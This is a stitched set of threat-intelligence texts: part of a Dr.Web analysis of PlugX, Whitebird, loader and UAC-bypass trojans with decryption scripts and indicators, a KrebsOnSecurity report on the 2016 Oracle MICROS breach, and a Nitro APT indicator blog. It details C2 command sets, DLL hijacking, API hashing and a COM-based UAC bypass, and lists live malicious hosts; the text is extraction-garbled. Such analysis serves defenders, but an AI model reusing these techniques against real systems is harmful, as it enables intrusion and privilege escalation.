Contains TLS 1.0 Client Key Exchange packets with key length 0x100 bytes, Change Cipher Spec, Client Handshake Finished: 25 25 When sending a Client Hello packet, the trojan encrypts all bytes of the Client Random field, starting from the 4th one, using the XOR method with random bytes.
It also records the current time in the first 4.
The servers response to this message is accepted, but the data is ignored.
When sending the second packet, the backdoor also encrypts the Client Key Exchange packets public key field using the XOR method with random bytes, and writes its 28-byte key into the data of the Client Handshake Finished packet.
Thatll be used to encrypt and decrypt packets sent or received from the server.
The backdoor encrypts the last 4 bytes of the Client Handshake Finished packet with random bytes.
Then, it sends it to the command and control server.
In response, the server sends its own key.
That key is used to initialize the key shared with the client.
After that, the backdoor enters the command processing cycle from the control server.
The traffic between the client and the server is encrypted using the RC4 algorithm.
The list of commands: opcode Command 0x01 Gathering information regarding the infected device 0x02 Remote shell 0x03 File manager (see below for commands ending in 3) 0x100 Keep-Alive 0x103 Open file for writing 26 26 0x203 Download a file 0x303 Data to be written 0x400 Reconnect to server 0x403 Obtain information about disk or directory listing 0x500 To finish work 0x503 Move a file 0x600 Delete proxy configuration ini file 0x603 Delete a file 0x703 Run a process 0x700 Execute a command during ShellExecute 0x800 Renew configuration 27 27 Trojan.
DownLoader43.44599 Added to the Dr.Web virus database:2021-10-15 Virus description added:2021-10-20 Packer: absent Compilation date: 2020-07-13 SHA1 hash: 1a4b8232237651881750911853cf22d570eada9e Description The trojan is written in C. Its used for unauthorized control of an infected computer.
Operating principle In the beginning, the trojan decrypts the CC servers IP addresses and ports using the XOR operation: importidaapi address0x416200 foriinxrange(0x7c): idaapi.patch_byte(addressi, idaapi.get_byte(addressi) 0xEF) Decryption result: 28 28 CC server159.65.157.100:443 Communication with it occurs using sockets: 29 29 Depending on the time, the connection to the required CC server will be selected: 30 30 The trojan creates file tmp.0 in folder tmp, that it use as log.
31 31 Collect information about the system: 32 32 33 33 34 34 Trojan.
DownLoader43.44599 pushes each value onto a stack before encrypting and sending the collected data.
The transferred data looks as follows: structcomputer_info string computer_name string user_name uint32_t major_version uint32_t minor_version uint32_t build_number uint32_t computer_bitness string March01 uint32_t code_page_id uint32_t oem_code_page_id  To encrypt the information collected about the system, the AES128 algorithm is used in CBC mode.
The key and initialization vector are embedded inside: 35 35 The decryption method looks as follows: fromCrypto.
CipherimportAES key\x95\x2B\x2D\xBF\x09\xC5\x2F\x80\xB4\xBC\x47\x27\x29\xB3\x28\x09 iv\x63\x5F\x72\x2A\xBB\xE3\xE8\x95\xF8\xF9\x32\x87\x53\x6A\x77\xFB enc... decipherAES.new(key, AES.MODE_CBC, iv) open(dec,wb).write(decipher.decrypt(enc)) The command execution cycle received from the CC server: 36 36 Table of commands compiled from the results of this cycle: Command ID Command 0x51 Creating cmd.exe process 0x52 Execution command exit in cmd.exe 0x54 Execute commands in the cmd.exe console 0x60 Creating the flow that reads, writes, and encrypts files.
37 37 Trojan.
Loader.891 Added to the Dr.Web virus database:2021-10-15 Virus description added:2021-xx-xx Packer: absent Compilation date: 2021-09-03 12:04:44 SHA1 hash: 595b5a7f25834df7a4af757a6f1c2838eea09f7b Description This trojan is written in C. The program contains several files, and the trojan uses each file sequentially.
The trojans main task is to decrypt the shellcode and execute it.
The decrypted shellcode contains BackDoor.
Whitebird.30, a module for bypassing UAC and backdoor configuration.
Operating principle The trojan folder contains the following files: mcupdui.exe  the executable file into which the malicious library is loaded using Hijacking DLL has a valid McAfee signature: 4F638B91E12390598F037E533C0AEA529AD1A371: CNMcAfee, Inc., OUIIS, OUDigital ID Class 3 - Microsoft Software Validation v2, OMcAfee, Inc., LSanta Clara, SCalifornia, CUS McUiCfg.dll  downloader mscuicfg.dat  encrypted shellcode mcupdui.ini  configuration of trojan To move to the main malicious functionality, the trojan modifies the process memory: The instruction following the malicious librarys download library is modified: 38 38 Trojan.
Loader.891 finds all the functions it needs by hashes using the PEB (Process Environment Block) structure.
At the same time, the names of libraries and functions are hashed differently: library names are hashed as Unicode strings converted to upper case.
Function names are hashed as ASCII strings without changing the case.
The resulting two hashes are added together and then compared with the desired one.
rorlambdaval, r_bits, max_bits: \ ((val  (2max_bits-1))  r_bitsmax_bits)  \ (val  (max_bits-(r_bitsmax_bits))  (2max_bits-1)) defhash_lib_whitebird(name: bytes)-int: aname.upper()b\x00 c0 foriinrange(0,len(a)): c(a[i]ror(c,13,32)) 0xffffffff library name is a unicode string c(0ror(c,13,32)) returnc 39 39 defhash_func_whitebird(name: bytes)-int: anameb\x00 c0 foriinrange(0,len(a)): c(a[i]ror(c,13,32)) 0xffffffff returnc Trojans main functions are encrypted.
When the function is called, it decrypts its code, and when it exits, it encrypts it back.
Main function: Trojan.
Loader.891 obtains the MAC addresses of all network interfaces on the computer.
The trojan then reads data from the mscuicfg.dat file.
If the last 6 bytes are zero, then it writes the first MAC address from the list into them and encrypts this file with the RC4 algorithm.
In this 40 40 case, the key is equal to the MAC address written to the file, so the encrypted data is saved to the file mscuicfg.dat.
After that, in any way, the trojan reads the file again, sorting through each of the received MAC addresses until it finds the right one.
The decryptions correctness is checked by matching the last 6 decrypted bytes with the encryption key.
Upon successful decryption, the trojan cuts them off and decrypts the file again using the RC4 algorithm, but takes the string mscuicfg.dat as the key.
The received data is a shellcode with a configuration and a payload.
Shellcode The shellcode is obfuscated with a lot of JMP instructions and each value is computed with a lot of SUB, ADD, and XOR operations: The shellcodes principle is to decrypt the payload and load it into memory for execution.
The last DWORD of the shellcode contains the OFFSET before the start of the payload.
Encrypted data at this stage: 41 41 42 42 For decryption, XOR with a dynamic key is used: k  0x37 s  bytearray() fori in range(len(d)): c  d[i]  k s.append(c) k  (k  c)  0xff The decrypted data contains an MZPE file with signatures replaced: 43 43 The decoded module is BackDoor.
Whitebird.30.In addition, the module overlay contains an encrypted configuration and a module for bypassing UAC: 44 44 45 45 Trojan.
Loader.896 Added to the Dr.Web virus database:2021-11-03 Virus description added:2021-11-17 Packer: absent Compilation date: 2020-14-10 SHA1 hash: ff82dcadb969307f93d73bbed1b1f46233da762f Description The backdoors downloader, PlugX, is written in C. Operating principle After loading from the main module (msrers.exe) using the LoadLibraryW function, the trojan loads the kernel32.dll library using the LoadLibraryA.
Then, it gets the address of the exported function GetModuleFileNameA: It then obtains the name of the main module using the previously obtained function GetModuleFileNameA.
It checks if the name contains the substring ers.
(
msrers.exe): 46 46 From the hash, 0xEF64A41E gets the function VirtualProtect to change the memory access rights to PAGE_EXECUTE_READWRITE at 0x416362 (msrers.exe): The following fragment will modify the code at 0x416362 (msrers.exe): 47 47 push 0xFFFFFFFF push 0x100010B0  func_addr ret Place in the main module to be modified: Next, a function is called that receives the base kernel32.dll, and the addresses of the functions by hashes.
Script to get a function by hash: 48 48 importpefile rorlambdaval, r_bits, max_bits: \ ((val  (2max_bits-1))  r_bitsmax_bits)  \ (val  (max_bits-(r_bitsmax_bits))  (2max_bits-1)) max_bits32 library_path_list[...] absolute path dlls defget_func_addr(hash): foriinxrange(len(library_path_list)): librarylibrary_path_list[i].split(\\) name_dlllibrary[len(library)-1] pepefile.
PE(library_path_list[i]) forexpinpe.DIRECTORY_ENTRY_EXPORT.symbols: func_nameexp.name hash_name_func0 forjinfunc_name: hash_name_funcord(j)ror(hash_name_func,0x07, max_bits) if(hash_name_funchash): print0x:08x -  - .format(hash, name_dll, exp.name) return Received features: Function name Hash VirtualProtect 0xEF64A41E GetLastError 0x12F461BB CloseHandle 0xFF0D6657 49 49 Function name Hash ReadFile 0x130F36B2 VirtualAlloc 0x1EDE5967 GetFileSize 0xAC0A138E CreateFileA 0x94E43293 lstrcat 0x3E8F97C3 GetModuleFileNameA 0xB4FFAFED In the following, the below structure is used to call these functions: structapi_addr DWORD (__stdcall GetModuleFileNameA)(HMODULE,LPSTR,DWORD) LPSTR (__stdcall lstrcat)(LPSTR,LPCSTR) HANDLE(__stdcall CreateFileA)(LPCSTR,DWORD,DWORD, LPSECURITY_ATTRIBUTES,DWORD,DWORD,HANDLE) DWORD (__stdcall GetFileSize)(HANDLE,LPDWORD) LPVOID(__stdcall VirtualAlloc)(LPVOID,SIZE_T,DWORD,DWORD) BOOL  (__stdcall ReadFile)(HANDLE,LPVOID,DWORD,LPDWORD, LPOVERLAPPED) BOOL  (__stdcall CloseHandle)(HANDLE) DWORD (__stdcall GetLastError)()  Trojan takes the name dll (TmDbgLog.dll) and adds the .TSC extension to it.
Next, it opens the file TmDbgLog.dll.
TSC for reading and decrypts its contents, which turns out to be a shellcode.
After decrypting the shellcode (TmDbgLog.dll), the trojan starts executing it: 50 50 The below is how the script for decrypting the shellcode looks like: encbytearray(open(TmDbgLog.dll.
TSC,rb).read()) decbytearray() foriinxrange(len(enc)): dec.append(((enc[i] 0xbb)-1) 0xff) open(TmDbgLog.dll.
TSC.dec,wb).write(dec) Before decrypting and running the payload, the shellcode assembles the following structure: structst_mw DWORDmagic DWORDshell_base DWORDshell_size DWORDenc_payload DWORDenc_payload_size DWORDenc_config DWORDenc_config_size DWORDpayload_entry  This is what the encrypted config looks like: 51 51 The configs decryption will be done directly in the payload: importstruct encopen(enc_cfg,rb).read() key,struct.unpack(I, enc[0:4]) key1key key2key key3key decbytearray() foriinxrange(len(enc)): key(key(key 3)-0x11111111) 0xFFFFFFFF key1(key1(key1 5)-0x22222222) 0xFFFFFFFF key2(key20x33333333-(key2 7)) 0xFFFFFFFF key3(key30x44444444-(key3 9)) 0xFFFFFFFF dec.append(ord(enc[i])  (keykey1key2key3) 0xFF) open(dec_cfg,wb).write(dec) And itll look like this: 52 52 Encrypted payload: Script to decrypt the payload: importstruct importctypes encopen(enc_payload,rb).read() key,struct.unpack(I, enc[0:4]) key1key key2key 53 53 key3key decbytearray() foriinxrange(len(enc)): key(key(key 3)0x55555556) 0xFFFFFFFF key1(key1(key1 5)0x44444445) 0xFFFFFFFF key2(key20xCCCCCCCC-(key2 7)) 0xFFFFFFFF key3(key30xDDDDDDDD-(key3 9)) 0xFFFFFFFF dec.append(ord(enc[i])  (keykey1key2key3) 0xFF) dbytes(dec) uncompress_size,struct.unpack(I, d[8:12]) buf_decompressedctypes.create_string_buffer(uncompress_size) final_sizectypes.c_ulong(0) ctypes.windll.ntdll.
RtlDecompressBuffer(2, buf_decompressed, ctypes.sizeof(buf_decompressed), ctypes.c_char_p(d[0x10:]),len(d), ctypes.byref(final_size)) open(dec_payload,wb).write(buf_decompressed) After decrypting the payload, the shellcode transfers control to the trojan, with the previously assembled structure st_mw acting as one of the parameters: Further, the trojan works in the same way as the backdoor BackDoor.
PlugX.28.
https://vms.drweb.com/virus/?lngeni21507745 54 54 Trojan.
Uacbypass.21 Added to the Dr.Web virus database:2021-10-22 Virus description added:2021-10-22 Packer: absent Compilation date: 2019-09-29 SHA1 hash: 7412b13e27433db64b610f40232eb4f0bf2c8487 Description This trojan is written in C. It elevates backdoor privileges.
It also disguises itself as a legitimate process and uses a COM object to bypass User Account Control (UAC).
In this way, it elevates the executable processs privileges.
Operating principle The trojan disguises as a legitimate process C:\Windows\explorer.exe via PEB (Process Environment Block).
Thats how it fools the IFileOperation COM object into thinking its being called from a Windows Explorer shell.
55 55 56 56 The trojan obtains a COM object to implement UAC bypass via privilege elevation (https://github.com/cnsimo/BypassUAC/blob/master/BypassUAC_Dll/dllmain .cpp): It allows Trojan.
Uacbypass.21 to run the file that was passed to it as an argument as a legitimate Windows process: 57 57 58 58 59 59 Appendix.
Indicators of Compromise SHA1 hashes Trojan.
Loader.889 f783fc5d3fc3f923c2b99ef3a15a38a015e2735a: McUiCfg.dll Trojan.
Loader.890 65f64cc7aaff29d4e62520afa83b621465a79823: SRVCON.OCX 8b9e60735344f91146627213bd13c967c975a783: CLNTCON.OCX 84d5f015d8b095d24738e45d2e541989e6221786: sti.dll 3d8a3fcfa2584c8b598836efb08e0c749d4c4aab: iviewers.dll Trojan.
Loader.891 595b5a7f25834df7a4af757a6f1c2838eea09f7b: McUiCfg.dll Trojan.
Loader.893 46e999d88b76cae484455e568c2d39ad7c99e79f: McUiCfg.dll Trojan.
Loader.894 b1041acbe71d46891381f3834c387049cbbb0806: iviewers.dll Trojan.
Loader.895 635e3cf8fc165a3595bb9e25030875f94affe40f: McUiCfg.dll Trojan.
Loader.896 ff82dcadb969307f93d73bbed1b1f46233da762f: TmDbgLog.dll Trojan.
Loader.898 429357f91dfa514380f06ca014d3801e3175894d: CLNTCON.OCX 60 60 Trojan.
Loader.899 cc5bce8c91331f198bb080d364aed1d3301bfb0c: LDVPTASK.OCX BackDoor.
PlugX.93 a8bff99e1ea76d3de660ffdbd78ad04f81a8c659: CLNTCON.OCX BackDoor.
PlugX.94 5a171b55b644188d81218d3f469cf0500f966bac BackDoor.
PlugX.95 b3ecb0ac5bebc87a3e31adc82fb6b8cc4fb66d63: netcfg.dll BackDoor.
PlugX.96 a3347d3dc5e7c3502d3832ce3a7dd0fc72e6ea49 BackDoor.
PlugX.97 36624dc9cd88540c67826d10b34bf09f46809da7 BackDoor.
PlugX.100 16728655e5e91a46b16c3fe126d4d18054a570a1 BackDoor.
Whitebird.30 abfd737b14413a7c6a21c8757aeb6e151701626a a5829ed81f59bebf35ffde10928c4bc54cadc93b Trojan.
Siggen12.35113 4f0ea31a363cfe0d2bbb4a0b4c5d558a87d8683e: rapi.dll Trojan.
Uacbypass.21 20ad53e4bc4826dadb0da7d6fb86dd38f1d13255 61 61 Program.
RemoteAdmin.877 23873bf2670cf64c2440058130548d4e4da412dd: AkavMiqo.exe Tool.
Frp a6e9f5d8295d67ff0a5608bb45b8ba45a671d84c: firefox.exe 39c5459c920e7c0a325e053116713bfd8bc5ddaf: firefox.exe Network indicators Domains webmail.surfanny.com www.sultris.com mail.sultris.com pop3.wordmoss.com zmail.wordmoss.com youtubemail.club clark.l8t.net blog.globnewsline.com mail.globnewsline.com IPs 45.144.242.216 45.147.228.131 46.105.227.110 5.183.178.181 5.188.228.53 103.30.17.44 103.93.252.150 103.230.15.41 103.251.94.93 104.233.163.136 159.65.157.100 180.149.241.88 185.105.1.226 62 62 192.236.177.250 209.250.241.35 Table of Contents Introduction Remote Rover Conclusion Operating Routine of Discovered Malware Samples BackDoor.
PlugX.93 BackDoor.
Siggen2.3622 BackDoor.
Whitebird.30 Trojan.
DownLoader43.44599 Trojan.
Loader.891 Trojan.
Loader.896 Trojan.
Uacbypass.21 Appendix.
Indicators of Compromise
13 AUG 16 Visa Alert and Update on the Oracle Breach Credit card industry giant Visa on Friday issued a security alert warning companies using point-of-sale devices made by Oracles MICROS retail unit to double-check the machines for malicious software or unusual network activity, and to change passwords on the devices.
Visa also published a list of Internet addresses that may have been involved in the Oracle breach and are thought to be closely tied to an Eastern European organized cybercrime gang.
The Visa alert is the first substantive document that tries to help explain what malware and which malefactors might have hit Oracle  and by extension many of Oracles customers since KrebsOnSecurity broke news of the breach on Aug. 8.
That story cited sources close to the investigation saying hackers had broken into hundreds of servers at Oracles retail division, and had completely compromised Oracles main online support portal for MICROS customers.
MICROS is among the top three point-of-sale vendors globally.
Oracles MICROS division sells point-of-sale systems used at more than 330,000 cash registers worldwide.
When Oracle bought MICROS in 2014, the company said MICROSs systems were deployed at some 200,000 food and beverage outlets, 100,000 retail sites, and more than 30,000 hotels.
In short, tens of millions of credit cards are swiped at MICROS terminals monthly, and a breach involving the theft of credentials that might have granted remote access to even just a small percentage of those systems is potentially a big and costly problem for all involved.
So far, however, most MICROS customers are left scratching their heads for answers.
A frequently asked questions bulletin (PDF) Oracle also released last Monday held little useful information.
Oracle issued the same cryptic response to everyone who asked for particulars about how far the breach extended.
Oracle has detected and addressed malicious code in certain legacy MICROS systems.
Oracle also urged MICROS customers to change their passwords, and said we also recommend that you change the password for any account that was used by a MICROS representative to access your on-premises systems.
http://krebsonsecurity.com/2016/08/data-breach-at-oracles-micros-point-of-sale-division/ https://web.archive.org/web/20160115134519/https:/usc.micros.com/agent/login/login.asp http://krebsonsecurity.com/wp-content/uploads/2016/08/FAQ.pdf https://krebsonsecurity.com/wp-content/uploads/2016/08/oraclehosp.png https://krebsonsecurity.com/wp-content/uploads/2016/08/VSA-oracle.png One of two documents Oracle sent to MICROS customers and the sum total of information the company has released so far about the breach.
Some technology and fraud experts, including Gartner Analyst Avivah Litan, read that statement highlighted in yellow above as an acknowledgement by Oracle that hackers may have abused credentials gained in the MICROS portal breach to plant malicious code on the point-of-sale devices run by an unknown number of MICROS customers.
This [incident] could explain a lot about the source of some of these retail and merchant point-of-sale hacks that nobody has been able to definitively tie to any one point-of-sale services provider, Litan told me last week.
Id say theres a big chance that the hackers in this case found a way to get remote access to MICROS customers on-premises point-of-sale devices.
Clearly, Visa is concerned about this possibility as well.
INDICATORS OF COMPROMISE In my original story about the breach, I wasnt able to reveal all the data Id gathered about the apparent source of the attacks and attackers.
A key source in that story asked that I temporarily delay publishing certain details of the investigation, specifically those known as indicators of compromise (IOCs).
Basically, IOCs are list of suspect Internet addresses, domain names, filenames and other curious digital clues that are thought to connect the victim with its attacker.
https://krebsonsecurity.com/wp-content/uploads/2016/08/oraclehosp.png Ive been inundated all week with calls and emails from security experts asking for that very data, but sharing it wasnt my call.
That is, until yesterday (8/12/16), when Visa published a merchant communication alert to some customers.
In that alert (PDF), Visa published IOCs that may be connected with the intrusion.
These IOCs could be extremely useful to MICROS customers because the presence of Internet traffic to and from these online destinations would strongly suggest the organizations point-of-sale systems may be similarly compromised.
Some of the addresses on this list from Visa are known to be associated with the Carbanak Gang, a group of Eastern European hackers that Russian security firm Kaspersky Labestimates has stolen more than 1 billion from banks and retailers.
Heres the IOCs list from the alert Visa pushed out Friday: Visa warned merchants to check their systems for any communications to and from these Internet addresses and domain names associated with a Russian organized cybercrime gang called Carbanak.
Thankfully, since at least one of the addresses listed above (192.169.82.86) matched whats on my sources list, the source agreed to let me publish the entire thing.
Here it is.
I checked my sources list and found at least five Internet addresses that were seen in both the Oracle attack and in a Sept. 2015 writeup about Carbanak by ESET Security, a Slovakian antivirus and security company.
[
NB: If you are unskilled at safely visiting malicious Web sites and/or handling malware, its probably best not to visit the addresses in the above-linked list.]
Visa also mentioned a specific POS-malware threat in its alert called MalumPOS.
According to researchers at Trend Micro, MalumPOS is malware designed to target point- of-sale systems in hotels and related industries.
In fact, Trend found that MalumPOS is set up to collect data specifically from point-of-sale systems running on Oracles MICROS platform.
It should come as no surprise then that many of Oracles biggest customers in the hospitality industry are starting to make noise, accusing Oracle of holding back key information that could help MICROS-based companies stop and clean up breaches involving malware and stolen customer credit card data.
http://krebsonsecurity.com/wp-content/uploads/2016/08/Visa-PFD-MICROS-Alert-12AUG16.pdf https://blog.kaspersky.com/billion-dollar-apt-carbanak/7519/ http://krebsonsecurity.com/wp-content/uploads/2016/08/carboracle.txt http://www.welivesecurity.com/2015/09/08/carbanak-gang-is-back-and-packing-new-guns/ http://blog.trendmicro.com/trendlabs-security-intelligence/trend-micro-discovers-malumpos-targets-hotels-and-other-us-industries/ https://krebsonsecurity.com/wp-content/uploads/2016/08/scanforcarb.png Oracles silence has been deafening, said Michael Blake, chief executive officer at HTNG, a trade association for hotels and technology.
Oracles silence has been deafening, said Michael Blake, chief executive officer at HTNG, a trade association for hotels and technology.
They are still grappling and trying to answer questions on the extent of the breach.
Oracle has been invited to the last three [industry] calls this week and they are still going about trying to reach each customer individually and in the process of doing so they have done nothing but given the lame advice of changing passwords.
The hospitality industry has been particularly hard hit by point-of-sale compromises over the past two years.
Last month, KrebsOnSecurity broke the news of a breach at Kimpton Hotels (Kimpton appears to run MICROS products, but the company declined to answer questions for this story).
Kimpton joins a long list of hotel brands that have acknowledged card breaches over the last year, including Trump Hotels (twice), Hilton, Mandarin Oriental, and White Lodging(twice), Starwood Hotels and Hyatt.
In many of those incidents, thieves had planted malicious software on the point-of-sale devices at restaurants and bars inside of the hotel chains.
And, no doubt, many of those cash registers were run on MICROS systems.
If Oracle doesnt exactly know which  if any  of its MICROS customers had malware on their point-of-sale systems as a result of the breach, it may be because the network intruders didnt have any reason to interact with Oracles customers via the MICROS portal after stealing usernames and passwords that would allow them to remotely access customer on-premises systems.
In theory, at that point the fraudsters could have bypassed Oracle altogether from then on.
BREACHED BY MULTIPLE ACTORS?
Another possibly interesting development in the Oracle breach story: There are indications that Oracle may have been breached by more than one cybercrime group.
Or at least handed off from one to the other.
Late this week, Thomas Fox-Brewster at Forbes published a story noting that MICROS was just one of at least five point-of-sale companies that were recently hacked by a guy who from an exhaustive review of his online chats  appears to have just sat himself down one day and decided to hack a bunch of point-of-sale companies.
Forbes quoted my old friend Alex Holden of Hold Security saying he had evidence that hackers had breached at least 10 payment companies, and the story focuses on getting confirmation from the various other providers apparently breached by the same cybercriminal actor.
Holden showed me multiple pages worth of chat logs between two individuals on a cybercrime forum [full disclosure: Holdens company lists me as an adviser, but I accept no compensation for that role, and he ignores most of my advice].
The discussion between the two hackers begins around July 15, 2016, and goes on for more than a week.
In it, the two hackers have been introduced to one another through a mutual, trusted contact.
For a while, all they discuss is whether the seller can be trusted to deliver the Oracle MICROS database and control over the Oracle MICROS customer ticketing portal.
In the end, the buyer is convinced by what he sees and agrees to pay the bitcoin equivalent of roughly USD 13,000 for access to Oracles MICROS portal, as well as a handful of other point- of-sale Web sites.
The buyers bitcoin wallet and the associated transactions can be seen here.
http://www.htng.org/ http://krebsonsecurity.com/2016/07/kimpton-hotels-probes-card-breach-claims/ http://krebsonsecurity.com/2016/07/kimpton-hotels-probes-card-breach-claims/ http://krebsonsecurity.com/2015/07/banks-card-breach-at-trump-hotel-properties/ http://krebsonsecurity.com/2016/04/sources-trump-hotels-breached-again/ http://krebsonsecurity.com/2015/09/banks-card-breach-at-hilton-hotel-properties/ http://krebsonsecurity.com/2015/03/credit-card-breach-at-mandarian-oriental/ http://krebsonsecurity.com/2014/01/hotel-franchise-firm-white-lodging-investigates-breach/ http://krebsonsecurity.com/2014/01/hotel-franchise-firm-white-lodging-investigates-breach/ http://krebsonsecurity.com/2015/04/white-lodging-confirms-second-breach/ http://krebsonsecurity.com/2015/11/starwood-hotels-warns-of-credit-card-breach/ http://krebsonsecurity.com/2016/01/hyatt-card-breach-hit-250-hotels-in-50-nations/ http://www.forbes.com/sites/thomasbrewster/2016/08/11/oracle-micros-hackers-breach-five-point-of-sale-providers/5f737775eb87 http://www.holdsecurity.com/ https://blockchain.info/address/1PmNrYJJAujjehkr84jpQY956ezroi8PS6 A screen shot shared by one of the hackers involved in compromising Oracles MICROS support portal.
This screen shot was taken of a similar Web shell the hackers placed on the Web site of another POS provider (this is not the shell that was on Oracle).
According to the chat log, the hacker broke in by exploiting a file-upload function built into the MICROS customer support portal.
From there the attackers were able to upload an attack tool known as a WSO Web Shell.
This is a crude but effective text-based control panel that helps the attacker install additional attack tools to harvest data from the compromised Web server (see screen shot above).
The beauty of a Web shell is that the attacker can control the infected site using nothing more than a Web browser, using nothing more than a hidden login page and a password that only he knows.
The two hackers discussed and both viewed more than a half-dozen files that were apparently left behind on the MICROS portal by the WSO shell they uploaded in mid-July (most of the malicious files ended in the file extension wso.aspx).
The chat logs show the pair of miscreants proceeding to target another 9 online payment providers or point-of-sale vendors.
Some of those companies were quoted in the Forbes piece having acknowledged a breach similar to the Web shell attack at Oracle.
But none of them have anywhere near the size of Oracles MICROS customer base.
GOOD HOSPITALITY, OR SWEPT UNDER THE RUG?
Oracle maintains in its FAQ (PDF) about the MICROS attack that Oracles Corporate network and Oracles other cloud and service offerings were not impacted.
But a confidential source within Oracles Hospitality Division told KrebsOnSecurity that the breach first started in one of Oracles major point-of-sale data centers  specifically the companys large data center in Manassas, Va.
According to my source, that particular center helps large Oracle hospitality industry clients manage their fleets of MICROS point-of-sale devices.
Initially, the customers network and the internal Oracle network were on the same network, said my source, who spoke under condition of anonymity because he did not have permission https://www.google.com/search?sitetbmischsourcehpbiw1280bih855qwsoshelloqwsoshellgs_limg.3..0j0i24k1l9.1755.3480.0.3808.9.7.0.2.2.0.134.745.2j5.7.0....0...1ac.1.64.img..0.9.752...0i30k1.6BUq9nVnmJs http://krebsonsecurity.com/wp-content/uploads/2016/08/OracleMICROSwebshell.txt http://krebsonsecurity.com/wp-content/uploads/2016/08/FAQ.pdf https://krebsonsecurity.com/wp-content/uploads/2016/08/cin7.png from his employer to speak on the record.
The networking team did a network segmentation of these two networks  ironically for security purposes.
However, it seems as if what they have done actually allowed access from the Russian Cybercrime group.
My source said that in mid-July 2016 Oracle sent out an email alert to employees of its hospitality division that they had to re-image their laptops without backing anything up.
All of the files and software that were on an employees computer were deleted, which was crippling to business operations, my source recalled.
Project management lost all their schedules, deployment teams lost all the software that they use to install on customer sites.
Oracle did not tell the employees in this email that they got hacked but just to re-image everything with no backups.
It seems as if Oracle did a pretty good job sweeping this incident under the rug.
Most employees dont know about the hack and it hasnt been a huge deal to the customers.
However, it is estimated that this cost them billions, so it is a really major breach.
I sent Oracle a litany of questions based on the above, but a spokesperson for the company said Oracle would comment on none of it.
Indicators 104.156.240.212 104.232.35.136 104.250.153.57 107.181.246.211 107.181.250.221 108.61.57.43 128.177.144.59 144.168.45.128 151.80.8.10 162.212.105.78 172.28.202.31 184.22.81.68 185.29.9.28 (c) 185.86.149.115 185.86.149.60 186.106.120.113 190.82.81.132 194.146.180.58 195.154.43.52 198.23.210.156 207.182.98.21 208.167.254.234 209.51.131.190 216.155.131.74 216.170.116.120 220.130.157.99 23.227.196.99 23.249.164.109 31.131.17.128 45.63.23.135 45.63.96.216 5.45.179.185 5.45.192.117 51.254.95.100 51.254.95.99 59.55.142.171 60.228.38.213/login.aspx 66.232.124.175 71.63.154.49 72.233.55.10 74.125.39.18 80.83.118.240 80.83.118.245 82.163.78.188 83.183.76.156 85.186.125.217 86.55.7.54 87.236.210.109 87.236.210.116 87.98.153.34 91.207.60.68 94.140.120.133 95.215.44.136 95.215.45.228 95.215.45.64 95.215.45.69 95.215.45.90 95.215.45.98 95.215.46.2 95.215.46.32 95.215.46.76 95.85.12.179 98.129.249.174 clients14-google.com mail.clients12-google.com ns1.stats1-google.com ns2.stats1-google.com wambiri.net/login.aspx
New Indicators of Compromise for APT Group Nitro Uncovered In mid-July of this year, we noticed yet another legitimate website had been compromised by APT actors and was serving malware.
In this case, it was a group commonly referred to as Nitro, which was coined by Symantec in its 2011 whitepaper.
As we dug deeper, we found additional compromised legitimate websites and malware from the same group back through March of this year.
In most instances, the malware is one commonly referred to as Spindest, though we also found PCClient and Farfli variants in use by the group.
We dont have enough data to say for certain that all of the malware in this blog was delivered via compromised legitimate websites.
Historically, Nitro is known for targeted spear phishing campaigns and using Poison Ivy malware, which was not seen in these attacks.
Since at least 2013, Nitro appears to have somewhat modified their malware and delivery methods to include Spindest and legitimate compromised websites, as reported by Cyber Squareds TCIRT.
Our findings indicate they are continuing to evolve with the addition of PCClient and Farfli variants.
The Maltego screenshot below shows the activity we describe in this blog.
These events impacted at least the following industries, across four waves: A US based IT Solutions provider The European office of a major, US based commercial vendor of space imagery and geospatial content A European leader in power technologies and automation for utilities and industry A US based provider of medical and dental imaging systems and IT solutions.
In July, Nitro compromised a South Korean clothing and accessories manufacturers website to serve malware commonly referred to as Spindest.
Of all the samples weve tied to this activity so far noted in this blog, this is the only one configured to connect directly to an IP address for Command and Control (C2).
This IP address has been in use by this group for some time, which is interesting since they have http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the_nitro_attacks.pdf http://www.threatconnect.com/news/threatconnect-enables-healthy-networking-biomed-life-sciences-industry/ http://researchcenter.paloaltonetworks.com/wp-content/uploads/2014/10/nitro_blog.png evolved other components of their kill chain over time to ensure malware delivery, but oddly not altered their C2 infrastructure.
It is simple for companies to block any outbound traffic to this IP, which would negate the effort Nitro put into successfully delivering the malware.
37 AV vendors within VirusTotal properly identify it, and the PE timestamp shows the day before we saw it.
In addition, the following three samples were found roughly a week apart from each other, possibly indicating the timing of the waves of activity.
Table 1 SHA256 0a1103bc90725d4665b932f88e81d39eafa5823b0de3ab146e2d4548b7da79a0 MD5 7915aabb2e66ff14841e4ef0fbff7486 File Name update.exe File Size 106496 First Seen 2014-07-24 11:54:02 C2 IP 223.25.233.248 The next sample we found is commonly known as PCClient, which is not malware previously tied to this group.
We discovered this, and many of the following samples, through historic IP resolution overlap between the same domains alternately resolving to either the 223.25.233.248 or 196.45.144.12.
The second IP has also not been reported as tied to this group before.
However, this shifting of IP resolutions back and forth indicates Nitro is in control of these domains.
It also makes is fairly easy for any Infosec team to reach the same conclusion we did, which again negates their use both of a previously unreported domain and IP for C2, as well as a new family of malware.
25 AV vendors within VirusTotal properly classify this sample as malware.
Its PE timestamp was 8 July, almost a week prior when we first saw it.
Table 2 SHA256 8aef92a986568ba31729269efa31a2488f35920d136ab41cb6fce55fd8e0b4b7 MD5 7522baef20df95eeeeafdf4efe3aac3c File Name lsm.exe File Size 65536 First Seen 2014-07-15 11:48:33 C2 URL xenserver.ddns[.
]net Resolution 196.45.144.12 The next sample was another Spindest variant and had the same timestamp as the aforementioned PcClient sample.
In addition, Nitro chose to use the same C2 for this sample, making it easy to both find and tie to the group.
41 AV vendors within VirusTotal properly classify this sample as malware.
Table 3 SHA256 995bc16a5c2c212b57ba00c2376ac57c8032c7f2b1d521f995a5e1d49066d64d MD5 6527ba8baab0f86b0ffb6178247772c4 File Name install_reader11_en_aaa_aih.exe File Type PE File Size 81920 First Seen 2014-07-09 16:31:26 C2 URL xenserver.ddns[.
]net Resolution 196.45.144.12 The next wave of activity we found took place in mid-May.
Both samples were Spindest variants with the same PE timestamp of 15 May.
While neither MD5s for C2 match, the aforementioned link to a post by Cyber Squareds TCIRT did document Nitro using Spindest variants with the same file name starting late December last year.
In that case they used the historic C2 IP we note in Table 1 in this blog.
34 AV vendors within VirusTotal properly classify the first sample as malware, and 40 AV Vendors the second sample.
